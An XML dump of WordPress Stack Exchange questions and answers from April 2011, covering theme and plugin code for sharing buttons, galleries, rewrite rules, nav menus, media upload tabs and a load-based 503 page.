  <row Id="13971" PostTypeId="2" ParentId="13420" CreationDate="2011-04-05T12:27:53.440" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12821/moving-sharedaddy-buttons-in-jetpack-to-the-top-of-a-post/12826#12826&quot;&gt;The answer to the original question&lt;/a&gt; told you to copy &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/jetpack/tags/1.1.1/modules/sharedaddy/sharing-service.php#L374&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;sharing_display()&lt;/code&gt; function&lt;/a&gt; to your own code under a new name and change the final line, so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $text.$sharing_content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $sharing_content.$text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can extend this to check for the context using &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt; and return something else. For example, if you want them at both the top and the bottom when viewing a single post but only at the top everywhere else (not only home, but also archives), use the &lt;code&gt;is_single()&lt;/code&gt; conditional check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_single() ) {&#xA;    return $sharing_content.$text.$sharing_content;&#xA;}&#xA;return $sharing_content.$text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This won't work if the &lt;code&gt;$sharing_content&lt;/code&gt; code contains anything that should only appear once on the page (an element with an &lt;code&gt;id&lt;/code&gt; attribute, for example). From a quick look at the code this appears to be not the case.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T12:27:53.440" />
  <row Id="13972" PostTypeId="2" ParentId="9838" CreationDate="2011-04-05T12:31:05.107" Score="0" ViewCount="" Body="&lt;p&gt;About the Video mime check, this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_filter_mste($html, $send_id, $attachment_id) {&#xA;&#xA;global $wpdb;&#xA;&#xA;$postDetails = $wpdb-&amp;gt;get_row( $wpdb-&amp;gt;prepare(&quot;SELECT post_mime_type FROM $wpdb-&amp;gt;posts WHERE ID = %s&quot;, $send_id) );&#xA;$type = explode(&quot;/&quot;, $postDetails-&amp;gt;post_mime_type);&#xA;$uploadType = strtolower($type[0]);&#xA;&#xA;if ($uploadType == 'video') {&#xA;$href = $attachment_id['url']; &#xA;$html = '[stream flv='.$href.' mp4='.$href.' embed=false share=false width=480 height=360 autostart=false /]';&#xA;}&#xA;return $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="4373" LastActivityDate="2011-04-05T12:31:05.107" />
  <row Id="13973" PostTypeId="2" ParentId="13448" CreationDate="2011-04-05T12:48:32.890" Score="0" ViewCount="" Body="&lt;p&gt;You can scan the content to see whether it contains a link and then parse it to find the &lt;code&gt;href&lt;/code&gt; attribute. There are many ways to do this, this example uses the built-in kses functionality, &lt;a href=&quot;http://ottopress.com/2010/wp-quickie-kses/&quot; rel=&quot;nofollow&quot;&gt;as demonstrated by Otto&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_link = get_the_permalink();&#xA;if ( preg_match('/&amp;lt;a (.+?)&amp;gt;/', get_the_content(), $match) ) {&#xA;    $link = array();&#xA;    foreach ( wp_kses_hair($match[1], array('http')) as $attr) {&#xA;        $link[$attr['name']] = $attr['value'];&#xA;    }&#xA;    $post_link = $link['href'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T12:48:32.890" CommentCount="2" />
  <row Id="13974" PostTypeId="2" ParentId="6600" CreationDate="2011-04-05T12:51:59.877" Score="1" ViewCount="" Body="&lt;p&gt;I struggled with the same issue but instead of using Nextgen (which goes way overboard in my opinion),  I integrated Gallerific as a WordPress gallery shortcode replacement.  It works really well and is very easy for the end user because they just have to add the images to the post and click insert gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll provide the code I used as a reference below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using the caption instead of the description on the images.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The plugin:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note: This uses some of the logic and code from Just Tadlock's Cleaner Gallery plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_gallery', 'galleriffic_gallery', 10, 2 );&#xA;&#xA;function galleriffic_gallery() {&#xA;    global $post;&#xA;&#xA;    /* Orderby */&#xA;    if ( isset( $attr['orderby'] ) ) :&#xA;        $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );&#xA;        if ( !$attr['orderby'] )&#xA;            unset( $attr['orderby'] );&#xA;    endif;&#xA;&#xA;    /*&#xA;    * Extract default gallery settings&#xA;    */&#xA;    extract(shortcode_atts(array(&#xA;        'order'      =&amp;gt; 'ASC',&#xA;        'orderby'    =&amp;gt; 'menu_order ID',&#xA;        'id'         =&amp;gt; $post-&amp;gt;ID,&#xA;        'itemtag'    =&amp;gt; 'dl',&#xA;        'icontag'    =&amp;gt; 'dt',&#xA;        'captiontag' =&amp;gt; 'dd',&#xA;        'columns'    =&amp;gt; 3,&#xA;        'size'       =&amp;gt; 'thumbnail',&#xA;    ), $attr));&#xA;&#xA;    /*&#xA;    * Make sure $id is an integer&#xA;    */&#xA;    $id = intval( $id );&#xA;&#xA;    /*&#xA;    * Get image attachments&#xA;    * If none, return&#xA;    */&#xA;    $attachments = get_children( array('post_parent' =&amp;gt; $id, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; $order, 'orderby' =&amp;gt; $orderby) );&#xA;    if ( empty( $attachments ) )&#xA;        return '';&#xA;&#xA;    /*&#xA;    * If is feed, leave the default WP settings&#xA;    * We're only worried about on-site presentation&#xA;    */&#xA;    if ( is_feed() ) {&#xA;        $output = &quot;\n&quot;;&#xA;        foreach ( $attachments as $id =&amp;gt; $attachment )&#xA;            $output .= wp_get_attachment_link( $id, $size, true ) . &quot;\n&quot;;&#xA;        return $output;&#xA;    }&#xA;&#xA;    $i = 0;&#xA;&#xA;    /*&#xA;    * Remove the style output in the middle of the freakin' page.&#xA;    * This needs to be added to the header.&#xA;    * The width applied through CSS but limits it a bit.&#xA;    */&#xA;&#xA;    /*&#xA;    * Open the gallery &amp;lt;div&amp;gt;&#xA;    */&#xA;    $output .= '&amp;lt;div id=&quot;gallery-wrap&quot; class=&quot;gallery-wrap&quot;&amp;gt;'.&quot;\n&quot;;&#xA;    $output .= '&amp;lt;div id=&quot;gallery-'.$id.'&quot; class=&quot;content gallery gallery-'.$id.'&quot;&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;div id=&quot;loading&quot; class=&quot;loader&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;div id=&quot;slideshow&quot; class=&quot;slideshow&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;div id=&quot;controls&quot; class=&quot;controls&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;div id=&quot;caption&quot; class=&quot;embox&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;    $output .= '&amp;lt;/div&amp;gt;&amp;lt;!--#gallery-'.$id.'--&amp;gt;'.&quot;\n&quot;;&#xA;    $output .= '&amp;lt;div id=&quot;thumbs&quot; class=&quot;navigation&quot;&amp;gt;'.&quot;\n&quot;;&#xA;    $output .= '&amp;lt;ul class=&quot;thumbs noscript&quot;&amp;gt;'.&quot;\n&quot;;&#xA;    /*&#xA;    * Loop through each attachment&#xA;    */&#xA;    foreach ( $attachments as $id =&amp;gt; $attachment ) :&#xA;&#xA;        /*&#xA;        * Get the caption and title&#xA;        */&#xA;        $caption = wp_specialchars( $attachment-&amp;gt;post_excerpt, 1 );&#xA;        $title = wp_specialchars( $attachment-&amp;gt;post_title, 1 );&#xA;        $link = wp_get_attachment_image_src( $id, 'large' );&#xA;        $img = wp_get_attachment_image_src( $id, $size );&#xA;&#xA;        /*&#xA;        * Open each gallery item&#xA;        */&#xA;        $output .= &quot;\n\t\t\t\t\t&amp;lt;li class='gallery-item'&amp;gt;&quot;;&#xA;            $output .= '&amp;lt;a class=&quot;thumb&quot; href=&quot;' .  wp_get_attachment_url( $id ) . '&quot; title=&quot;' . $title . '&quot;&amp;gt;';&#xA;                $output .= '&amp;lt;img src=&quot;' . $img[0] . '&quot; alt=&quot;' . $title . '&quot; title=&quot;' . $title . '&quot; /&amp;gt;';&#xA;            $output .= '&amp;lt;/a&amp;gt;';&#xA;&#xA;&#xA;&#xA;        $output .= &quot;\n\t\t\t\t\t&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;    endforeach;&#xA;&#xA;    /*&#xA;    * Close gallery and return it&#xA;    */&#xA;&#xA;        $output .= '&amp;lt;/ul&amp;gt;&amp;lt;!--.thumbs--&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;/div&amp;gt;&amp;lt;!--#thumbs--&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;/div&amp;gt;&amp;lt;!--#gallery-wrap--&amp;gt;'.&quot;\n&quot;;&#xA;        $output .= '&amp;lt;div class=&quot;cb&quot;&amp;gt;&amp;lt;/div&amp;gt;'.&quot;\n&quot;;&#xA;&#xA;    /*&#xA;    * Return out very nice, valid XHTML gallery.&#xA;    */&#xA;    return $output;&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;The Galleric Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note:  It would make your template cleaner if you put your settings in a separate file and called it using wp_enqueue_script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;// We only want these styles applied when javascript is enabled&#xA;      $('div.navigation').css({'width' : '710px', 'float' : 'left'});&#xA;           $('div.content').css('display', 'block');&#xA;&#xA;        // Initially set opacity on thumbs and add&#xA;        // additional styling for hover effect on thumbs&#xA;        var onMouseOutOpacity = 0.67;&#xA;       $('#thumbs ul.thumbs li').opacityrollover({&#xA;                mouseOutOpacity:   onMouseOutOpacity,&#xA;                mouseOverOpacity:  1.0,&#xA;                fadeSpeed:         'fast',&#xA;                exemptionSelector: '.selected'&#xA;             });&#xA;&#xA;&#xA;    var gallery = $('#thumbs').galleriffic({&#xA;        delay:                  3000,&#xA;        numThumbs:              12,&#xA;        preloadAhead:           10,&#xA;        enableTopPager:         false,&#xA;        enableBottomPager:      true,&#xA;        imageContainerSel:      '#slideshow',&#xA;        controlsContainerSel:   '#controls',&#xA;        captionContainerSel:       '#caption',&#xA;        loadingContainerSel:       '#loading',&#xA;        renderSSControls:       true,&#xA;        renderNavControls:      true,&#xA;        playLinkText:           'Play Slideshow',&#xA;        pauseLinkText:          'Pause Slideshow',&#xA;        prevLinkText:           '&amp;amp;lsaquo;  &amp;amp;lsaquo;  Previous Photo',&#xA;        nextLinkText:           'Next Photo  &amp;amp;rsaquo; &amp;amp;rsaquo;' ,&#xA;        nextPageLinkText:       'Next &amp;amp;rsaquo;',&#xA;        prevPageLinkText:       '&amp;amp;lsaquo; Prev',&#xA;        enableHistory:          true,&#xA;        autoStart:              false,&#xA;        syncTransitions:    true,&#xA;        defaultTransitionDuration: 200,&#xA;        onSlideChange:          function(prevIndex, nextIndex) {&#xA;              // 'this' refers to the gallery, which is an extension of $('#thumbs')&#xA;                 this.find('ul.thumbs').children()&#xA;                 .eq(prevIndex).fadeTo('fast', onMouseOutOpacity).end()&#xA;                 .eq(nextIndex).fadeTo('fast', 1.0);&#xA;                  },&#xA;            onTransitionOut:  function(slide, caption, isSync, callback) {&#xA;            slide.fadeTo(this.getDefaultTransitionDuration(isSync), 0.0, callback);&#xA;           caption.fadeTo(this.getDefaultTransitionDuration(isSync), 0.0);&#xA;            },&#xA;          onTransitionIn: function(slide, caption, isSync) {&#xA;          var duration = this.getDefaultTransitionDuration(isSync);&#xA;           slide.fadeTo(duration, 1.0);&#xA;&#xA;&#xA;          },&#xA;            onPageTransitionOut: function(callback) {&#xA;                   this.fadeTo('fast', 0.0, callback);&#xA;                   },&#xA;                onPageTransitionIn:  function() {&#xA;               this.fadeTo('fast', 1.0);&#xA;                },&#xA;              onImageAdded:    function(imageData, $li) {&#xA;                      $li.opacityrollover({&#xA;                      mouseOutOpacity:   onMouseOutOpacity,&#xA;                      mouseOverOpacity:  1.0,&#xA;                     fadeSpeed:         'fast',&#xA;                     exemptionSelector: '.selected'&#xA;                       });&#xA;                      }&#xA;                   });&#xA;      function pageload(hash) {&#xA;                  // alert(&quot;pageload: &quot; + hash);&#xA;                 // hash doesn't contain the first # character.&#xA;                         if(hash) {&#xA;                         $.galleriffic.gotoImage(hash);&#xA;                       } else {&#xA;                        gallery.gotoIndex(0);&#xA;                        }&#xA;             }&#xA;gallery.find('a.prev').click(function(e) {&#xA;                     gallery.previousPage();&#xA;                     e.preventDefault();&#xA;                   });&#xA;&#xA;            gallery.find('a.next').click(function(e) {&#xA;            gallery.nextPage();&#xA;           e.preventDefault();&#xA;            });&#xA;              // Initialize history plugin.&#xA;            // The callback is called at once by present location.hash. &#xA;         $.historyInit(pageload, &quot;advanced.html&quot;);&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had planned on releasing this as a plugin but it still needs some work to make us usable for the masses.  &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-05T12:51:59.877" />
  <row Id="13975" PostTypeId="2" ParentId="13483" CreationDate="2011-04-05T13:17:40.633" Score="1" ViewCount="" Body="&lt;p&gt;Adding a rewrite rule with an order part is very easy, if you do it for one site. It would be harder if you want to create a generic solution that works for all installations with all kinds of permalink structures and custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This short example works on a basic install of WordPress 3.1, with no extra custom taxonomies. I use the &lt;code&gt;orderby&lt;/code&gt; prefix to prevent conflicts with existing post names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse13483_init' );&#xA;function wpse13483_init()&#xA;{&#xA;    add_rewrite_rule( 'category/(.+?)/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?category_name=$matches[1]&amp;amp;paged=$matches[4]&amp;amp;orderby=$matches[2]', 'top' );&#xA;    add_rewrite_rule( 'tag/([^/]+)/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?tag=$matches[1]&amp;amp;paged=$matches[4]&amp;amp;orderby=$matches[2]', 'top' );&#xA;    add_rewrite_rule( 'type/([^/]+)/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?post_format=$matches[1]&amp;amp;paged=$matches[4]&amp;amp;orderby=$matches[2]', 'top' );&#xA;    add_rewrite_rule( 'author/([^/]+)/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?author_name=$matches[1]&amp;amp;paged=$matches[4]&amp;amp;orderby=$matches[2]', 'top' );&#xA;    add_rewrite_rule( '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;paged=$matches[6]&amp;amp;orderby=$matches[4]', 'top' );&#xA;    add_rewrite_rule( '([0-9]{4})/([0-9]{1,2})/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;paged=$matches[5]&amp;amp;orderby=$matches[3]', 'top' );&#xA;    add_rewrite_rule( '([0-9]{4})/orderby/([^/]+)(/page/?([0-9]{1,}))?/?$', 'index.php?year=$matches[1]&amp;amp;paged=$matches[4]&amp;amp;orderby=$matches[2]', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T13:17:40.633" CommentCount="3" />
  <row Id="13976" PostTypeId="2" ParentId="13520" CreationDate="2011-04-05T13:24:57.663" Score="1" ViewCount="" Body="&lt;p&gt;Since you already have the category ID (you use it in your call to &lt;code&gt;WP_Query::query()&lt;/code&gt;), you can just use that to request the category name. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_cat_name&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_cat_name( $cat_id )&lt;/code&gt;&lt;/a&gt; will do exactly that. It uses &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_category( $cat_id )&lt;/code&gt;&lt;/a&gt; in the background, which returns the full category object, which can be useful if you want to show more information about the category.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T13:24:57.663" CommentCount="1" />
  <row Id="13977" PostTypeId="2" ParentId="13564" CreationDate="2011-04-05T13:36:08.543" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt; indeed tries a lot to provide you with a menu, and &lt;code&gt;fallback_cb&lt;/code&gt; is only executed when nothing else works. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu-template.php#L148&quot; rel=&quot;nofollow&quot;&gt;From the code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If &lt;code&gt;menu&lt;/code&gt; is provided and refers to an existing menu (looked up via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/nav-menu.php#L10&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_nav_menu_object()&lt;/code&gt;&lt;/a&gt;, which accepts an id, slug or name), this will be the menu&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, if &lt;code&gt;theme_location&lt;/code&gt; is set to a registered menu location, this will be passed to &lt;code&gt;wp_get_nav_menu_object()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, WordPress will search for the first existing menu that has items and use that&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, &lt;code&gt;fallback_cb&lt;/code&gt; is called, which by default is &lt;code&gt;wp_page_menu&lt;/code&gt;, which is a menu of all the pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you only want to use the &lt;code&gt;menu&lt;/code&gt; argument, you should test this yourself by calling &lt;code&gt;wp_get_nav_menu_object()&lt;/code&gt;. Only if this returns something you should call &lt;code&gt;wp_nav_menu()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T13:36:08.543" CommentCount="2" />
  <row Id="13978" PostTypeId="2" ParentId="13567" CreationDate="2011-04-05T14:05:14.727" Score="2" ViewCount="" Body="&lt;p&gt;To remove the &lt;em&gt;From Computer&lt;/em&gt; tab &lt;em&gt;header&lt;/em&gt;, you unset &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/media.php#L16&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;type&lt;/code&gt; key from that array&lt;/a&gt;. However, this will (confusingly) not remove the tab &lt;em&gt;content&lt;/em&gt;, and because this is the default tab it will show it even if the tab header for it is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the default tab you must hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/media-upload.php#L110&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;media_upload_default_tab&lt;/code&gt; filter&lt;/a&gt;. This gets called in multiple places, I did not research which one is called in which circumstances, so I moved the check for attachments to a separate function and rewrote your code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('media_upload_tabs','wpse13567_media_upload_tabs', 99);&#xA;function wpse13567_media_upload_tabs( $tabs ) {&#xA;    if ( wpse13567_post_has_attachments() ) {&#xA;        unset( $tabs['type'] );&#xA;    }&#xA;    unset( $tabs['type_url'] );&#xA;    unset( $tabs['library'] );&#xA;&#xA;    return $tabs;&#xA;}&#xA;&#xA;add_filter( 'media_upload_default_tab', 'wpse13567_media_upload_default_tab' );&#xA;function wpse13567_media_upload_default_tab( $tab )&#xA;{&#xA;    if ( wpse13567_post_has_attachments() ) {&#xA;        return 'gallery';&#xA;    }&#xA;    return $tab;&#xA;}&#xA;&#xA;function wpse13567_post_has_attachments()&#xA;{&#xA;    static $post_has_attachments = null;&#xA;    if ( null === $post_has_attachments &amp;amp;&amp;amp; $post_id = (isset($_REQUEST['post_id']) ? $_REQUEST['post_id'] : false) ) {&#xA;        $post_has_attachments = count(get_posts(&quot;post_type=attachment&amp;amp;post_parent={$post_id}&quot;))&amp;gt;0;&#xA;    }&#xA;    return $post_has_attachments;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T14:05:14.727" />
  <row Id="13979" PostTypeId="1" CreationDate="2011-04-05T14:08:19.703" Score="0" ViewCount="126" Body="&lt;p&gt;I'm using this script inside a plugin to create a new custom menu on the fly and assign a page to it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu_id = wp_create_nav_menu( 'header-menu' );&#xA;$menu = array( 'menu-item-type' =&amp;gt; 'custom', 'menu-item-url' =&amp;gt; get_home_url('/'),'menu-item-title' =&amp;gt; 'Home', 'menu-item-status' =&amp;gt; 'publish' );&#xA;wp_update_nav_menu_item( $menu_id, 0, $menu );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this works great. However, what I'm stuck on is how to hook this menu up to one of my theme's &quot;Menu Locations&quot;. Since I'm registering a nav location called &quot;header-menu&quot; in my theme's functions.php, I thought that the code above, calling wp_create_nav_menu( 'header-menu' ) would hook my custom menu to the location defined in my theme as &quot;header-menu&quot;, but its not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my theme registers two menu locations...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus(&#xA;  array('header-menu' =&amp;gt; __( 'My Header Menu' ), &#xA; 'footer-menu' =&amp;gt; __( 'Footer Menu' ))&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I hook the &quot;Header Menu&quot; I created with wp_create_nav_menu( 'Header Menu' ) to the &quot;My Header Menu&quot; location that i've registered in my theme? I'm sure the answer is somewhere in nav-menu.php, but I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie, I can do this manually from the WordPress &quot;Appearance &gt; Menus&quot; Manager and under &quot;Theme Locations &gt; Main Navigation Menu&quot; I select &quot;Header Menu&quot; and click &quot;Save&quot;. I'm trying to do this in script.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-05T14:26:18.033" LastActivityDate="2011-04-05T14:26:18.033" Title="How to assign a WP 3.0 custom nav menu to a theme's navigation menu location via script?" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;" />
  <row Id="13980" PostTypeId="2" ParentId="13968" CreationDate="2011-04-05T14:10:08.967" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps use query_posts to generate your query and then use a custom loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2011-04-05T14:10:08.967" />
  <row Id="13981" PostTypeId="1" CreationDate="2011-04-05T14:11:43.240" Score="5" ViewCount="112" Body="&lt;p&gt;With our website, we want to make it so that if the site is about to go down, it instead displays a custom 503 (based on a server load limit set by us). Is there something that can handle this that is already built in, or a plugin that might help? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I know manual switching maintenance mode plugins are available but if the site hits heavy traffic they will get taken out.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4453" LastActivityDate="2011-08-23T17:43:13.760" Title="How to implement a 'fail whale' to graciously limit server load (Solutions for system capacity governing)" Tags="&lt;server-load&gt;&lt;maintenance&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" />
  <row Id="13983" PostTypeId="1" CreationDate="2011-04-05T14:28:55.067" Score="0" ViewCount="89" Body="&lt;p&gt;At the top of this website Wordpress answers is 6 menu items in the header&#xA;&lt;code&gt;Questions&lt;/code&gt;   &lt;code&gt;Tags&lt;/code&gt;    &lt;code&gt;Users&lt;/code&gt;   &lt;code&gt;Badges&lt;/code&gt;   &lt;code&gt;Unanswered&lt;/code&gt;    &lt;code&gt;Ask Question&lt;/code&gt;&#xA;I need to change these on my website &lt;a href=&quot;http://homesfriscotx.com&quot; rel=&quot;nofollow&quot;&gt;homesfriscotx.com&lt;/a&gt;       how do I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Debbie&lt;/p&gt;&#xA;" OwnerUserId="4458" LastEditorUserId="3918" LastEditorDisplayName="" LastEditDate="2011-04-05T18:11:59.953" LastActivityDate="2011-04-05T18:16:39.857" Title="how to change menu titles" Tags="&lt;menus&gt;&lt;header&gt;" AnswerCount="2" />
  <row Id="13984" PostTypeId="2" ParentId="13604" CreationDate="2011-04-05T14:36:52.703" Score="0" ViewCount="" Body="&lt;p&gt;The page ID (or object ID, since a menu item can link to any object) is stored in the &lt;code&gt;postmeta&lt;/code&gt; table, with the key &lt;code&gt;_menu_item_object_id&lt;/code&gt;. So you can get the page ID with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta( $item-&amp;gt;ID, '_menu_item_object_id', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T14:36:52.703" CommentCount="1" />
  <row Id="13985" PostTypeId="2" ParentId="13983" CreationDate="2011-04-05T14:39:04.737" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/menus/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/menus/&lt;/a&gt; - 1st result from google for &quot;wordpress menus&quot;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-05T14:39:04.737" />
  <row Id="13986" PostTypeId="2" ParentId="13981" CreationDate="2011-04-05T14:39:57.543" Score="1" ViewCount="" Body="&lt;p&gt;You can customize message for when database is down by drop-in &lt;code&gt;db-error.php&lt;/code&gt; in &lt;code&gt;wp-content&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if PHP is down I do not think there is anything that WP or its plugin would be able to do. It is better to ask your hosting how can you customize server's 503 page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-05T14:39:57.543" />
  <row Id="13987" PostTypeId="2" ParentId="13981" CreationDate="2011-04-05T14:44:14.227" Score="2" ViewCount="" Body="&lt;p&gt;If your system is on linux, you can read the actual server load from &lt;code&gt;/proc/loadavg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$load = reset ( explode ( ' ' , file_get_contents('/proc/loadavg') ) );&#xA;&#xA;if ($load &amp;gt; 3.14 )&#xA;{&#xA;    // load too high, &#xA;    header('HTTP/1.1 503 Service Temporarily Unavailable');&#xA;    header('Status: 503 Service Temporarily Unavailable');&#xA;    header('Retry-After: 60');&#xA;    fail_whale();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: &#xA;added header method lines.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-05T14:44:14.227" />
  <row Id="13989" PostTypeId="2" ParentId="13981" CreationDate="2011-04-05T14:49:51.803" Score="4" ViewCount="" Body="&lt;p&gt;Twitter and other high-volume sites probably do this one layer ahead of the servers. Probably with a load balancer that can detect the server load over all servers and if the load is too high (when machines stop replying) they redirect traffic to a server that returns only the &quot;fail whale&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4835215/when-to-show-a-fail-whale&quot;&gt;This answer on Stack Overflow&lt;/a&gt; suggests to look at &lt;code&gt;sys_getloadavg()&lt;/code&gt; and display an error when it is too high (and &quot;too high&quot; should be defined by trial and error). I would do this in the main &lt;code&gt;index.php&lt;/code&gt; file that &quot;boots&quot; WordPress, to get a quick exit and not put more load on the server.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-05T14:49:51.803" CommentCount="3" />
